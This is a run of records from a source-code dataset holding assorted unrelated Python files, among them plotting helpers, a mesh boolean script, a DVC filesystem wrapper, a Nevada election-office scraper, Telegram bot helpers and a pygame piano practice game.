print(\"exit\")\n sys.stdout.flush()\n self.hk.stop()\n # print('Quitting alarm application.')\n\n def begin_hook(self):\n self.hk = Hook()\n self.hk.handler = self.handle_events # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)\n self.hk.hook()\n\n @staticmethod\n def start_hook():\n hook_work = HookWork()\n hook_work.begin_hook()\n\nif __name__ == '__main__':\n # print(cur_file_dir())\n HookWork.start_hook()","sub_path":"hook.py","file_name":"hook.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"570569048","text":"\"\"\"Useful plotting methods. Please take care here as methods and classes are likely to be imported by other modules.\"\"\"\r\n\r\n\r\nimport os\r\n#from scipy.interpolate import spline\r\n#from scipy import interpolate\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.patches import Ellipse\r\n\r\ndef confidence_ellipse(x, y, stdev=2):\r\n \"\"\"Fit a confidence ellipse of a given standard deviation around a set of Cartesian data points. Returns an 'Artist' object that can be drawn on an axis as follows:\r\n ax.add_artist(e) \r\n The returned artist can be modified as needed.\r\n \"\"\"\r\n cv = np.cov(x, y)\r\n lambda_, v = np.linalg.eig(cv)\r\n lambda_ = np.sqrt(lambda_)\r\n\r\n xy = (np.mean(x), np.mean(y))\r\n w = lambda_[0]*stdev*2\r\n h = lambda_[1]*stdev*2\r\n theta = np.rad2deg(np.arccos(v[0, 0]))\r\n\r\n e = Ellipse(xy=xy, width=w, height=h, angle=theta)\r\n return(e)\r\n\r\n\r\n\r\n\r\n################### Review below and scrap if need be ######################\r\n\r\nclass depthplot(object):\r\n \"\"\"\"\"\"\r\n def __init__(self, title = \"\", xlab = \"\", ylab = \"Depth (m)\", fontsize = 10):\r\n \"\"\"\"\"\"\r\n\r\n fig = plt.figure(figsize = (210 / 2 * 0.0393701, 297 / 2 * 0.0393701), dpi = 150) # quarter of a portrait A4 page\r\n plt.gca().invert_yaxis()\r\n plt.title(title)\r\n plt.xlabel(xlab)\r\n plt.ylabel(ylab)\r\n plt.xticks(fontsize = fontsize * 0.8)\r\n plt.yticks(fontsize = fontsize * 0.8)\r\n self.plt = plt\r\n \r\n def addseries(self, x, y, col = 'k', linestyle = 'solid', marker = '.', linewidth = 1):\r\n plt.plot(x, y, color = col, linestyle = linestyle, marker = marker, linewidth = linewidth)\r\n #return(plt)\r\n \r\n def splinebak(self, x, y, k = 5, col = 'r'):\r\n \"\"\"Add spline to series\"\"\"\r\n s = spline(y, x, k = k)\r\n xs = s(y)\r\n plt.plot(xs, y, color = col, linestyle = '--')\r\n\r\n def spline(self, x, y, wee=5, col = 'r'):\r\n \"\"\"Add spline to series\"\"\"\r\n new = [0.7,0.9,1.1,1.3,1.5,1.7]\r\n mn = min(y)\r\n mx = max(y)\r\n print(mn, mx)\r\n rn = mx - mn\r\n new = [mn + rn / (wee-1) * i for i in range(0,wee)]\r\n #new = [0.7 + 0.025 * i for i in range(0,wee-1)]\r\n #print(new)\r\n #s = spline(y, x, xnew = new)\r\n #x1 = np.array(x)\r\n #y1 = np.array(y)\r\n #print(x1.shape)\r\n #print(y1.shape)\r\n \r\n print(x, y)\r\n s = interpolate.CubicSpline(y, x)\r\n \r\n #x = np.arange(10)\r\n #y = np.sin(x)\r\n #cs = interpolate.CubicSpline(x, y)\r\n #print(x, y)\r\n #exit()\r\n\r\n #s = interpolate.CubicSpline(y1, x1)\r\n print(s)\r\n #plt.plot(s, new, color = col, linestyle = '--')\r\n #plt.plot(s, new, color = col)\r\n \r\n xs = np.arange(mn, mx, (mx-mn)/(wee-1))\r\n print(xs)\r\n plt.plot(s(xs), xs, color=col)\r\n \r\n def show(self):\r\n \"\"\"Show the plot\"\"\"\r\n plt.show()\r\n \r\n def save(self, path):\r\n \"\"\"Save the plot to file\"\"\"\r\n plt.tight_layout()\r\n plt.savefig(path)\r\n \r\n def close(self):\r\n plt.close()\r\n \r\n \r\nclass biplot(object):\r\n \"\"\"\"\"\"\r\n def __init__(self, x, y, path = None, title = \"\", xlab = \"\", ylab = \"\"):\r\n \"\"\"\"\"\"\r\n self.x = x\r\n self.y = y\r\n fig = plt.figure(figsize = (10, 14.14), dpi = 30)\r\n xbuff = (max(x) - min(x)) * 0.1\r\n ybuff = (max(y) - min(y)) * 0.1\r\n plt.xlim(min(x) + xbuff, max(x) - xbuff)\r\n plt.ylim(min(y) + ybuff, max(y) - ybuff)\r\n plt.title(title)\r\n plt.xlabel(xlab)\r\n plt.ylabel(ylab)\r\n \r\n def plot(self, col = 'k'):\r\n plt.scatter(self.x, self.y, color = col)\r\n \r\n def show(self):\r\n plt.show()\r\n \r\n def save(self, path):\r\n \"\"\"Save the plot to file\"\"\"\r\n d = os.path.dirname(path)\r\n if not os.path.isdir(d):\r\n os.makedirs(d)\r\n plt.savefig(path)\r\n plt.close()\r\n\r\n\r\n\r\ndef matrix_scatterplot(df, alpha = 0.5, figsize = None, ax = None, grid = False, diagonal = \"kde\", marker = '.', density_kwds = None, hist_kwds = None):\r\n \"\"\"Plot a matrix of bi-plots from a dataframe for quick view of multiple regressions.\"\"\"\r\n pd.tools.plotting.scatter_matrix(df, alpha = alpha, figsize = figsize, ax = ax, grid = grid, diagonal = diagonal, marker = marker, density_kwds = density_kwds, hist_kwds = hist_kwds)\r\n plt.tight_layout()\r\n return(plt)\r\n\r\n","sub_path":"geo/maths/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"145772210","text":"#boolean difference operation on meshes to remove overlap\r\n# needs trimesh and blender as back ends\r\n# tested under bash, python3\r\n\r\nimport trimesh\r\nfrom pathlib import Path\r\nimport os,sys\r\nfrom param_XML import Param_xml\r\nfrom pymeshfix import _meshfix\r\nif os.popen('hostname').read().startswith('DESKTOP'):import pdb\r\n \r\n\r\ndef read_parms():\r\n param_xml = Param_xml.get_param_xml(sys.argv,l_main_keys = ['body','BooleanDifferenceTrimesh'],verbose=True) #param file must be passed as first argument\r\n input_folder = param_xml.get_value('input_folder',['paths'])\r\n output_folder = param_xml.get_value('output_folder',['paths'])\r\n \r\n return input_folder,output_folder\r\n \r\ninput_folder,output_folder = read_parms()\r\noutput_folder.mkdir(parents=True,exist_ok=True)\r\n\r\n#fill dict with key=mesh-name; value = mesh-name\r\nd_path_mesh = {}\r\nfor path in input_folder.glob('cell*.stl'):\r\n d_path_mesh[path] = trimesh.load_mesh(str(path),process=False)\r\n\r\n#do difference operation and write output\r\ns_mesh = set()\r\nfor mesh_path, mesh in d_path_mesh.items():\r\n l_meshes = [mesh]\r\n s_mesh.add(mesh) \r\n for mesh_i in d_path_mesh.values():\r\n if mesh_i in s_mesh:continue\r\n l_meshes.append(mesh_i)\r\n diff = trimesh.boolean.difference(l_meshes)\r\n #diff.export(str(mesh_path.with_name(mesh_path.stem + '_no_overlap.stl'))) #export to same folder\r\n f_name = mesh_path.stem + '_no_overlap.stl'\r\n diff.export(str(output_folder / f_name))\r\n\r\n # try:\r\n # meshfix.clean_from_file(str(output_folder / f_name), str(output_folder / f_name)) #repairing, just in case\r\n # except:\r\n # print('something went wrong with meshfix on {0}. continue'.format(f_name))\r\n\r\n\r\n","sub_path":"BooleanDifferenceTrimesh.py","file_name":"BooleanDifferenceTrimesh.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"131358596","text":"import os\nimport shutil\nfrom typing import IO, TYPE_CHECKING, Any, Dict, Iterator, Optional, overload\n\nfrom funcy import cached_property\nfrom tqdm.utils import CallbackIOWrapper\n\nfrom dvc.progress import DEFAULT_CALLBACK\n\nfrom .base import FileSystem\n\nFSPath = str\nAnyFSPath = str\n\nif TYPE_CHECKING:\n from typing_extensions import Literal\n\n\n# An info() entry, might evolve to a TypedDict\n# in the future (e.g for properly type 'size' etc).\nEntry = Dict[str, Any]\n\n\n# pylint: disable=no-member\nclass FSSpecWrapper(FileSystem):\n TRAVERSE_PREFIX_LEN = 2\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.fs_args = {\"skip_instance_cache\": True}\n self.fs_args.update(self._prepare_credentials(**kwargs))\n\n @staticmethod\n def _get_kwargs_from_urls(urlpath: str) -> \"Dict[str, Any]\":\n from fsspec.utils import infer_storage_options\n\n options = infer_storage_options(urlpath)\n options.pop(\"path\", None)\n options.pop(\"protocol\", None)\n return options\n\n @cached_property\n def fs(self):\n raise NotImplementedError\n\n def _prepare_credentials(\n self, **config: Dict[str, Any] # pylint: disable=unused-argument\n ) -> Dict[str, Any]:\n \"\"\"Prepare the arguments for authentication to the\n host filesystem\"\"\"\n return {}\n\n def _isdir(self, path: AnyFSPath) -> bool:\n return self.fs.isdir(path)\n\n def isdir(self, path: AnyFSPath) -> bool:\n try:\n return self._isdir(path)\n except FileNotFoundError:\n return False\n\n def isfile(self, path: AnyFSPath) -> bool:\n try:\n return not self._isdir(path)\n except FileNotFoundError:\n return False\n\n def is_empty(self, path: AnyFSPath) -> bool:\n entry = self.info(path)\n if entry[\"type\"] == \"directory\":\n return not self.fs.ls(path)\n return entry[\"size\"] == 0\n\n def open(\n self,\n path: AnyFSPath,\n mode: str = \"r\",\n encoding: Optional[str] = None,\n **kwargs,\n ) -> \"IO\": # pylint: disable=arguments-differ\n return self.fs.open(path, mode=mode)\n\n def checksum(self, path: AnyFSPath) -> str:\n return self.fs.checksum(path)\n\n def copy(self, from_info: AnyFSPath, to_info: AnyFSPath) -> None:\n self.makedirs(self.path.parent(to_info))\n self.fs.copy(from_info, to_info)\n\n def exists(self, path: AnyFSPath) -> bool:\n return self.fs.exists(path)\n\n @overload\n def ls(\n self, path: AnyFSPath, detail: \"Literal[True]\"\n ) -> \"Iterator[Entry]\":\n ...\n\n @overload\n def ls(self, path: AnyFSPath, detail: \"Literal[False]\") -> Iterator[str]:\n ...\n\n def ls(self, path, detail=False):\n yield from self.fs.ls(path, detail=detail)\n\n def find(self, path, prefix=None):\n yield from self.fs.find(path)\n\n def move(self, from_info: AnyFSPath, to_info: AnyFSPath) -> None:\n self.fs.move(from_info, to_info)\n\n def remove(self, path: AnyFSPath) -> None:\n self.fs.rm_file(path)\n\n def info(self, path: AnyFSPath) -> \"Entry\":\n return self.fs.info(path)\n\n def makedirs(self, path: AnyFSPath, **kwargs) -> None:\n self.fs.makedirs(path, exist_ok=kwargs.pop(\"exist_ok\", True))\n\n def put_file(\n self,\n from_file: AnyFSPath,\n to_info: AnyFSPath,\n callback: Any = DEFAULT_CALLBACK,\n **kwargs,\n ) -> None:\n self.fs.put_file(from_file, to_info, callback=callback, **kwargs)\n self.fs.invalidate_cache(self.path.parent(to_info))\n\n def get_file(\n self,\n from_info: AnyFSPath,\n to_info: AnyFSPath,\n callback: Any = DEFAULT_CALLBACK,\n **kwargs,\n ) -> None:\n self.fs.get_file(from_info, to_info, callback=callback, **kwargs)\n\n def upload_fobj(self, fobj: IO, to_info: AnyFSPath, **kwargs) -> None:\n self.makedirs(self.path.parent(to_info))\n with self.open(to_info, \"wb\") as fdest:\n shutil.copyfileobj(\n fobj, fdest, length=getattr(fdest, \"blocksize\", None)\n )\n\n\n# pylint: disable=abstract-method\nclass ObjectFSWrapper(FSSpecWrapper):\n TRAVERSE_PREFIX_LEN = 3\n\n def makedirs(self, path: AnyFSPath, **kwargs) -> None:\n # For object storages make this method a no-op. The original\n # fs.makedirs() method will only check if the bucket exists\n # and create if it doesn't though we don't want to support\n # that behavior, and the check will cost some time so we'll\n # simply ignore all mkdir()/makedirs() calls.\n return None\n\n def _isdir(self, path: AnyFSPath) -> bool:\n # Directory in object storages are interpreted differently\n # among different fsspec providers, so this logic is a temporary\n # measure for us to adapt as of now. It checks whether it is a\n # directory (as in a prefix with contents) or whether it is an empty\n # file where it's name ends with a forward slash\n\n entry = self.info(path)\n return entry[\"type\"] == \"directory\" or (\n entry[\"size\"] == 0\n and entry[\"type\"] == \"file\"\n and entry[\"name\"].endswith(\"/\")\n )\n\n def find(self, path, prefix=None):\n if prefix:\n with_prefix = self.path.parent(path)\n files = self.fs.find(with_prefix, prefix=self.path.parts(path)[-1])\n else:\n with_prefix = path\n files = self.fs.find(path)\n\n # When calling find() on a file, it returns the same file in a list.\n # For object-based storages, the same behavior applies to empty\n # directories since they are represented as files. This condition\n # checks whether we should yield an empty list (if it is an empty\n # directory) or just yield the file itself.\n if len(files) == 1 and files[0] == with_prefix and self.isdir(path):\n return None\n\n yield from files\n\n\n# pylint: disable=arguments-differ\nclass NoDirectoriesMixin:\n def isdir(self, *args, **kwargs):\n return False\n\n def isfile(self, *args, **kwargs):\n return True\n\n def find(self, *args, **kwargs):\n raise NotImplementedError\n\n def walk(self, *args, **kwargs):\n raise NotImplementedError\n\n def ls(self, *args, **kwargs):\n raise NotImplementedError\n\n\nclass CallbackMixin:\n \"\"\"Provides callback support for the filesystem that don't support yet.\"\"\"\n\n def put_file(\n self,\n from_file,\n to_info,\n callback=DEFAULT_CALLBACK,\n **kwargs,\n ):\n \"\"\"Add compatibility support for Callback.\"\"\"\n # pylint: disable=protected-access\n self.makedirs(self.path.parent(to_info))\n size = os.path.getsize(from_file)\n with open(from_file, \"rb\") as fobj:\n callback.set_size(size)\n wrapped = CallbackIOWrapper(callback.relative_update, fobj)\n self.upload_fobj(wrapped, to_info)\n self.fs.invalidate_cache(self.path.parent(to_info))\n\n def get_file(\n self,\n from_info,\n to_info,\n callback=DEFAULT_CALLBACK,\n **kwargs,\n ):\n # pylint: disable=protected-access\n total: int = self.getsize(from_info)\n if total:\n callback.set_size(total)\n\n with self.open(from_info, \"rb\") as fobj, open(to_info, \"wb\") as fdest:\n wrapped = CallbackIOWrapper(callback.relative_update, fobj)\n shutil.copyfileobj(wrapped, fdest, length=fobj.blocksize)\n","sub_path":"dvc/fs/fsspec_wrapper.py","file_name":"fsspec_wrapper.py","file_ext":"py","file_size_in_byte":7555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"278609218","text":"import json\nimport re\nfrom bs4 import BeautifulSoup\nfrom bs4.element import NavigableString, Tag\n\nfrom common import dir_path\n\n\ndef is_element(el, tag):\n return isinstance(el, Tag) and el.name == tag\n\n\nclass ElemIterator():\n def __init__(self, els):\n self.els = els\n self.i = 0\n\n def peek(self):\n try:\n return self.els[self.i]\n except IndexError:\n return None\n\n def __next__(self):\n self.i += 1\n return self.els[self.i - 1]\n\n def hasNext(self):\n return len(self.els) > (self.i)\n\n def peek_till(self, tag):\n while not is_element(self.peek(), tag):\n self.__next__()\n\n def next_till(self, tag):\n self.peek_till(tag)\n self.__next__()\n\n\ndef parse_lines(iter_):\n iter_.peek_till('strong')\n\n county = []\n while iter_.hasNext():\n county += [iter_.__next__()]\n\n if is_element(iter_.peek(), 'strong'):\n yield ElemIterator(county)\n county = []\n\n yield ElemIterator(county)\n county = []\n\n\ndef parse_emails_url(iter_):\n emails = []\n url = None\n\n try:\n while True:\n iter_.peek_till('a')\n email = iter_.__next__()\n href = email['href']\n if href.startswith('mailto:'):\n if href[7:]:\n emails += [href[7:]]\n else:\n emails += [email.text]\n else:\n url = href\n except IndexError:\n pass\n return emails, url\n\n\ndef parse_url(iter_):\n iter_.peek_till('a')\n link = iter_.__next__()\n href = link['href']\n assert not href.startswith('mailto:')\n return [href]\n\n\ndef parse_county(iter_):\n county_title = iter_.__next__().text.strip().title()\n locale = re.match('(.*) (City|County)', county_title).group(0)\n\n if county_title.startswith('Clark County Elections Mailing Address'):\n emails, url = parse_emails_url(iter_)\n return {\n 'locale': locale,\n 'county': locale,\n 'emails': emails,\n }\n\n while True:\n el = iter_.__next__()\n if isinstance(el, NavigableString):\n if 'Clerk' in el or 'Registrar' in el:\n official = el.strip().split(',')[0]\n break\n\n address = []\n while True:\n el = iter_.__next__()\n if isinstance(el, NavigableString):\n address += [el.strip()]\n if re.search(r'Nevada \\d{5}', el) or re.search(r'NV \\d{5}', el):\n break\n\n el = iter_.__next__()\n el = iter_.__next__()\n if isinstance(el, NavigableString):\n el = el.replace(u'\\xa0', ' ') # replace non-breaking space\n matches1 = re.search(r'(\\(\\d{3}\\) \\d{3}-\\d{4}) FAX (\\(\\d{3}\\) \\d{3}-\\d{4})', el)\n matches2 = re.search(r'(\\(\\d{3}\\) \\d{3}-VOTE \\(\\d{4}\\)) FAX (\\(\\d{3}\\) \\d{3}-\\d{4})', el)\n if matches1:\n phone = matches1.group(1)\n fax = matches1.group(2)\n elif matches2:\n phone = matches2.group(1)\n fax = matches2.group(2)\n else:\n print(county_title)\n print(el)\n print(re.search(r'(\\(\\d{3}\\) \\d{3}-\\d{4}) FAX', el))\n assert False\n\n emails, url = parse_emails_url(iter_)\n\n init = {'city': locale} if locale.endswith('City') else {'county': locale}\n\n return {\n **init,\n 'locale': locale,\n 'official': official,\n 'address': ', '.join(address),\n 'emails': list(set(emails)),\n 'phones': [phone],\n 'faxes': [fax],\n 'url': url,\n }\n\n\ndef main():\n # Actually this file: https://www.nvsos.gov/sos/elections/voters/county-clerk-contact-information\n # But it's behind a javascript test\n with open(dir_path(__file__) + '/cache/Nevada.htm') as fh:\n page = fh.read()\n soup = BeautifulSoup(page, 'lxml')\n ps = soup.select('div.content_area > p')\n iter_ = ElemIterator([x for p in ps for x in p.children])\n raw_counties = [parse_county(county) for county in parse_lines(iter_)]\n\n merge_counties = {}\n for county in raw_counties:\n locale = county['locale']\n if locale in merge_counties:\n merge_counties[locale]['emails'] += county['emails']\n else:\n merge_counties[locale] = county\n\n counties = list(merge_counties.values())\n assert len(counties) == len(raw_counties) - 1\n\n with open('public/nevada.json', 'w') as fh:\n json.dump(counties, fh)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"states/nevada/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"259834068","text":"from django.conf.urls import include, url\nfrom lists import views\n#First one that matches will be selected\nurlpatterns = [\n url(r'^new$', views.new_list, name = 'new_list'),\n url(r'^(\\d+)/$', views.view_list, name='view_list'),\n url(r'^(\\d+)/items/$',views.edit_list, name = 'edit_list')\n]\n\n#() is containment in regular expression to capture\n","sub_path":"superlists/lists/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"282586211","text":"## DiceConquestButton.py\n## Fall 2016\n\nimport pygame\nfrom pygame.locals import *\n\nclass button_class(object):\n\n def __init__(self, size, pos, surf, cdict):\n\n self.prop = [16,12]\n\n self.WIDTH = size[0]\n self.HEIGHT = size[1]\n self.POS = pos\n self.SURF = surf\n self.CDICT = cdict\n self.buthei = self.HEIGHT//self.prop[1]\n self.butwid = self.WIDTH//self.prop[0]\n \n self.__BUTTSURF = pygame.Surface((self.WIDTH,self.HEIGHT), flags=SRCALPHA, depth=32)\n self.__BUTTSURF.fill(self.CDICT['TRANSP'])\n\n self.left = pygame.image.load('Arrow.tga').convert_alpha()\n self.left = pygame.transform.scale(self.left,(self.butwid,self.buthei))\n\n self.right = pygame.image.load('Arrow.tga').convert_alpha()\n self.right =pygame.transform.rotate(self.right, 180)\n self.right = pygame.transform.scale(self.right,(self.butwid,self.buthei))\n\n self.up = pygame.image.load('Arrow.tga').convert_alpha()\n self.up = pygame.transform.rotate(self.up, -90)\n self.up = pygame.transform.scale(self.up,(self.butwid,self.buthei))\n\n self.down = pygame.image.load('Arrow.tga').convert_alpha()\n self.down = pygame.transform.rotate(self.down, 90)\n self.down = pygame.transform.scale(self.down,(self.butwid,self.buthei))\n \n self.xpos1 = self.WIDTH//2 - (self.WIDTH//(self.prop[0]*2))\n self.ypos1 = self.HEIGHT//2 - (self.HEIGHT//(self.prop[1]*2))\n self.rightpos = (self.WIDTH - self.butwid,self.ypos1)\n self.leftpos = (0,self.ypos1)\n self.uppos = (self.xpos1,0)\n self.downpos = (self.xpos1,self.HEIGHT - self.buthei)\n\n self.ter = pygame.image.load('attackcur.tga').convert_alpha()\n self.ter = pygame.transform.scale(self.ter,(20,20))\n \n def make_ter(self, tercent, SURF):\n \n SURF.blit(self.ter, (tercent))\n\n def press(self, mouse, pos):\n pressed = False\n P1 = pos\n P2 = (P1[0] + self.butwid, P1[1] + self.buthei)\n pressed = (P1[0] <= mouse[0] <= P2[0] and\n P1[1] <= mouse[1] <= P2[1])\n\n return pressed\n\n def hilighted(self, direct):\n if direct == 'left':\n self.left = pygame.image.load('HArrow.tga').convert_alpha()\n self.left = pygame.transform.scale(self.left,(self.butwid,self.buthei))\n\n elif direct == 'right':\n self.right = pygame.image.load('HArrow.tga').convert_alpha()\n self.right =pygame.transform.rotate(self.right, 180)\n self.right = pygame.transform.scale(self.right,(self.butwid,self.buthei))\n\n elif direct == 'up':\n self.up = pygame.image.load('HArrow.tga').convert_alpha()\n self.up = pygame.transform.rotate(self.up, -90)\n self.up = pygame.transform.scale(self.up,(self.butwid,self.buthei))\n\n elif direct == 'down':\n self.down = pygame.image.load('HArrow.tga').convert_alpha()\n self.down = pygame.transform.rotate(self.down, 90)\n self.down = pygame.transform.scale(self.down,(self.butwid,self.buthei))\n elif direct == '':\n self.left = pygame.image.load('Arrow.tga').convert_alpha()\n self.left = pygame.transform.scale(self.left,(self.butwid,self.buthei))\n\n self.right = pygame.image.load('Arrow.tga').convert_alpha()\n self.right =pygame.transform.rotate(self.right, 180)\n self.right = pygame.transform.scale(self.right,(self.butwid,self.buthei))\n\n self.up = pygame.image.load('Arrow.tga').convert_alpha()\n self.up = pygame.transform.rotate(self.up, -90)\n self.up = pygame.transform.scale(self.up,(self.butwid,self.buthei))\n\n self.down = pygame.image.load('Arrow.tga').convert_alpha()\n self.down = pygame.transform.rotate(self.down, 90)\n self.down = pygame.transform.scale(self.down,(self.butwid,self.buthei))\n\n\n def display_butt(self):\n self.__BUTTSURF.blit(self.right,self.rightpos)\n self.__BUTTSURF.blit(self.left,self.leftpos)\n self.__BUTTSURF.blit(self.up,self.uppos)\n self.__BUTTSURF.blit(self.down,self.downpos)\n\n self.SURF.blit(self.__BUTTSURF,(0,0))\n\n #self.right.\n","sub_path":"Nooblet/Introduction to OOP/DICE CONQUEST/DiceConquestButton.py","file_name":"DiceConquestButton.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"590155337","text":"import matplotlib.pyplot as plt\ninput_values=[1,2,3,4,5,6]\nsquares=[1,4,9,16,25,36]\nplt.plot(input_values,squares,linewidth=4)\n\n#Set the chart title and label axes\nplt.title(\"square numbers\",fontsize=20)\nplt.xlabel(\"value\",fontsize=16)\nplt.ylabel(\"square of values\", fontsize=16)\nplt.show()\n\n","sub_path":"Class8/matplot.py","file_name":"matplot.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"39275309","text":"import requests\nimport re\nimport os\n\n\ndef url_or_answer(answer_string):\n if \"avito.ru\" in answer_string:\n\n if \"?\" in answer_string:\n url_list = answer_string.split(\"?\")\n url_list.insert(1, \"?\")\n return url_list\n else:\n url_clear = []\n url_clear.append(answer_string)\n return url_clear\n else:\n url_create = [\"https://www.avito.ru/rossiya?\"]\n if \" \" in answer_string:\n answ_changed = \"+\".join(answer_string.split(\" \"))\n url_create.append(\"q=\")\n url_create.append(answ_changed)\n return url_create\n else:\n url_create.append(\"q=\")\n url_create.append(answer_string)\n return url_create\n\n\ndef check_url(url):\n\n request = str(requests.get(url).status_code)\n if \"200\" in request:\n\n return url\n else:\n print(\"bad\")\n # Ссылка недействительна, отправить сообщение пользователю\n\n\ndef full_check(url):\n url = \"\".join(url_or_answer(message))\n check_url_acess = check_url(url)\n # Что то возвращать после полной проверки! Если все хорошо url_list\n # Думаю про обработчик ошибок try..except\n\n\ndef get_token():\n config = configparser.ConfigParser()\n path_conf = \"/home/testo/StorojBot/settings.cfg\"\n config.read(path_conf)\n tele_token = config.get(\"Telegram_Token\", \"Token\")\n return tele_token\n\n\ndef get_proxy():\n config = configparser.ConfigParser()\n path_conf = \"/home/testo/StorojBot/settings.cfg\"\n config.read(path_conf)\n tele_proxy = config.get(\"Telegram_Proxy\", \"Proxy\")\n return tele_proxy\n\n\n##############################################################################\n##########Код ниже Относится к app_old используется только с ним!#############\n##############################################################################\ndef get_Updates(token=get_token()):\n bot_api = \"https://api.telegram.org/bot{0}/{1}\".format(token, \"getUpdates\")\n request = requests.get_json(bot_api) # Изменил с get на get_json надо проверить\n s = request.json() # Если вариант выше заработает то не нужна\n return request\n\n\ndef editMessageText(chat_id, message, message_id, parser_buttons, token=get_token()):\n bot_api = \"https://api.telegram.org/bot{0}/{1}\".format(token, \"editMessageText\")\n js_answer = {\n \"text\": message,\n \"chat_id\": chat_id,\n \"message_id\": message_id,\n \"reply_markup\": {\"inline_keyboard\": [parser_buttons]},\n }\n request = requests.post(bot_api, json=js_answer)\n a = request.text # Эти две строки для проверки что,\n print(\"!SEND123!\\n\" + a + \"!SEND123!\\n\")\n\n\ndef send_Message(chat_id, message, inl_keyb=\"None\", token=get_token()):\n\n bot_api = \"https://api.telegram.org/bot{0}/{1}\".format(token, \"sendMessage\")\n # js_answer={'text':message, 'chat_id':chat_id, 'parse_mode':'Markdown',\n # 'disable_web_page_preview':'true'}\n # # Строка для форматирования текста и убирания превью URLa\n if inl_keyb not in \"None\":\n js_answer = {\n \"text\": message,\n \"chat_id\": chat_id,\n \"reply_markup\": create_kbrd(inl_keyb),\n }\n else:\n js_answer = {\"text\": message, \"chat_id\": chat_id}\n # print('!JS_ANSW!\\n'+str(js_answer)+'\\n') #Проверка сборки JSON\n request = requests.post(bot_api, json=js_answer)\n a = request.text # Эти две строки для проверки что,\n # print('!SEND!\\n'+ a +'!SEND!\\n') #бот отправил в формате JSON\n\n\ndef create_kbrd(name_keyboard):\n\n reply_mup_array = {\n \"start\": {\n \"inline_keyboard\": [\n [\n {\"text\": \"Storoj\", \"callback_data\": \"storoj_bot\"},\n {\"text\": \"AutoLoad\", \"callback_data\": \"auto_load\"},\n ]\n ]\n }\n }\n if name_keyboard in reply_mup_array:\n return reply_mup_array[name_keyboard]\n","sub_path":"func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"607170475","text":"import matplotlib.pyplot as plt\nfrom butterfly import measurement\n\n\ndef test_t_space_unchanged():\n # tests with simple t_space = 1 that everything remains the same.\n pixel_points = [(0, 0), (5, 0), (0, 0), (0, 4)]\n mm_points = measurement.main(pixel_points, 1)\n assert mm_points == ((5, 4), (5, 4))\n\n\ndef test_different_t_space():\n pixel_points = [(0, 0), (5, 0), (0, 0), (0, 4)]\n mm_points = measurement.main(pixel_points, 2)\n assert mm_points == ((5, 4), (2.5, 2))\n\n\ndef test_with_ax():\n fig, ax = plt.subplots(figsize=(20, 5))\n pixel_points = [(0, 0), (5, 0), (0, 0), (0, 4)]\n mm_points = measurement.main(pixel_points, 2, ax)\n assert mm_points == ((5, 4), (2.5, 2))\n","sub_path":"butterfly/tests/test_measurement.py","file_name":"test_measurement.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"552460381","text":"import os, random, time, sys, pygame, pygame.midi\n#from Myro import *\n#from Processing import *\nfrom pygame.locals import *\nfrom random import randint\n\npygame.init()\npygame.display.init()\n\n\n\n'''\nNicholas von Pentz\n\nProgram randomly selects a note and displays it on the screen for a set period of time.\n\nThis program is to help new music students to learn the position of each key on their instruments.\nStudents are to follow along with their instruments and match each note as they appear. As the student\nimproves, they can decrease noteDuration to increase difficulty.\n\n\ngame(30,3)\n>>> starts a 30 second game with 3 seconds between note changes.\n \n'''\nprint (sys.version_info)\n\n#pygame.midi.init()\n#input_id = pygame.midi.get_default_input_id()\n#print (input_id + \" is inpus id\")\n#i = pygame.midi.Input( input_id )\n#print ( i + \" this is the input \")\n\n\ndef game(TimeOfGame, noteDuration):\n\n\n #window(400,400) calico code\n setDisplay = pygame.display.set_mode((400,400))\n surface = pygame.Surface((100, 100))\n\n\n pygame.display.set_caption(\"pygame window\")\n \n #build paths to images\n cwd = os.getcwd() \n imagesPath = cwd + \"/images\"\n imagePaths = []\n \n #create dictionary mapping numbers to image paths so I can use a random number to sel\n numberToImageDict = {}\n count = -1 #to not add the first .DS file\n \n for subdir, dirs, files in os.walk(imagesPath):\n for file in files:\n if (count != -1):\n imagePaths.append(file)\n numberToImageDict[count] = (imagesPath+ '/' + file)\n count += 1\n \n #print (numberToImageDict)\n clock = 0\n while (clock <= TimeOfGame):\n random = randint(0,11)\n #print (random)\n currentPath = (numberToImageDict[random])\n #print (currentPath + ' is the current path')\n #img = loadImage(currentPath)\n\n img = pygame.image.load(currentPath)\n setDisplay.blit(img,(400,400))\n #image( img, 0, 0 )\n \n time.sleep(noteDuration)\n clock += 1\n \n \ngame(3,1.0)\nprint(\"finished\")\n","sub_path":"pianopractice_shell.py","file_name":"pianopractice_shell.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"168529659","text":"\"\"\"\r\nThere was a list of length m * n, which had unique values and was sorted.\r\nIt was cut into n parts of same length, and then those parts were randomly\r\nshuffled. Elements inside each part were then also shuffled.\r\nImplement function 